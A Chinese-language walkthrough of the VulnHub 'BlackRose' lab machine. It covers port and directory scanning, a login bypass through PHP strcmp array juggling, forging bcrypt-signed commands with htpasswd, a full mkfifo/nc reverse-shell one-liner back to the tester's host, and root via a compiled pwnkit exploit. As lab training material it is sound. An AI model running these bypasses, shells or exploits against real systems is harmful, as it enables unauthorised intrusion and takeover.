靶机信息

这是一个需要打靶经验,并且需要不断试错的vulnhub渗透测试靶机,从黑盒思维判断登录验证逻辑,绕过登录校验,再对加解密的理解,以及RCE的不断试错,再到最后的提权,给个困难难度。

信息收集

NMAP扫描

└─$ nmap -sCV -p22,80,3306 -O --min-rate 1000 192.168.218.223 -oA nmapScan/details
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-02 01:21 EST
Nmap scan report for 192.168.218.223 (192.168.218.223)
Host is up (0.0010s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 d1:9b:10:88:15:e9:7a:c4:1a:29:07:3c:21:87:c4:ac (RSA)
|   256 e3:50:0b:c9:e8:f1:68:7f:e7:cf:ec:de:7b:b9:20:a1 (ECDSA)
|_  256 55:0e:96:22:cc:50:20:d9:dd:c2:ff:5b:25:d0:d7:2b (ED25519)
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-title: BlackRose
|_Requested resource was login.php
|_http-server-header: Apache/2.4.29 (Ubuntu)
3306/tcp open  mysql   MySQL (unauthorized)
MAC Address: 00:0C:29:C2:40:13 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.14
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 40.81 seconds

三个端口,普通的端口,正常打点。

初始信息枚举

先看优先级最高的3306端口
登不上去,也没别的信息,那就看80端口。
扫一下目录先

/js                   (Status: 301) [Size: 315] [--> http://192.168.218.223/js/]
/css                  (Status: 301) [Size: 316] [--> http://192.168.218.223/css/]
/logout.php           (Status: 302) [Size: 0] [--> 404.php]
/images               (Status: 301) [Size: 319] [--> http://192.168.218.223/images/]
/img                  (Status: 301) [Size: 316] [--> http://192.168.218.223/img/]
/login.php            (Status: 200) [Size: 1463]
/register.php         (Status: 200) [Size: 1559]
/database.php         (Status: 302) [Size: 0] [--> 404.php]
/404.php              (Status: 200) [Size: 21]
/index.php            (Status: 302) [Size: 0] [--> login.php]
/header.php           (Status: 200) [Size: 21]
/footer.php           (Status: 200) [Size: 21]
/vendors              (Status: 301) [Size: 320] [--> http://192.168.218.223/vendors/]
/server-status        (Status: 403) [Size: 280]
/index.php            (Status: 302) [Size: 0] [--> login.php]

基本只要登录,注册功能有用
随便注册一个进去,有个whami功能,并且在主页提交功能会显示你不是admin用户,我就猜肯定是让我以admin用户登录,但是想了半天,一直感觉是sql注入,还是打靶少了,找红笔要了点提示,得知是strcmp函数校验的password字段,那就简单了,黑盒情况居然完全没有想到这个。PHP 弱类型 + strcmp 误用。
函数判断成功的条件,肯定是让函数结果返回0,即两者相同,或者让strcmp函数报错,strcmp比较的是字符串类型,如果强行传入其他类型参数,会出错,出错后返回值0,正是利用这点进行绕过。
先传入NULL值,或者在抓包直接将password字段删除,但是应该被实体化了,失败,放弃。然后就是传入数组,将password字段写成password[],本身password接受的是字符串,但是传入的是一个数组数据,让strcmp函数前后数据类型不一致产生报错,从而绕过。

Image

成功绕过了。再看看

Image

错误的签名,是一个 bcrypt 哈希,使用hashcat爆破一下,是whoami的密文

Image

那么初步判断是将command中的命令加密作为签名。并且在后续尝试发现对他的salt值也不固定,随机的也行。
使用一下命令生成没有用户名的签名

htpasswd -bnBC "10" "" "ls" | tr -d ':\n'

Image

确实是这样。

漏洞利用

开始获取shell
再尝试bash,sh,nc之后我发现有报错命令报错会弹窗error,不知道为什么不行,最后使用rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc 192.168.218.148 4444 > /tmp/f反弹成功。

提权

直接上linpeas扫一遍

Image

没有其他明显的提权提示,所以我就直接尝试内核提权,先试第一个,可行性最高
使用gcc --static pwnkit.c -o exp 静态编译,以免环境

Image

提权成功。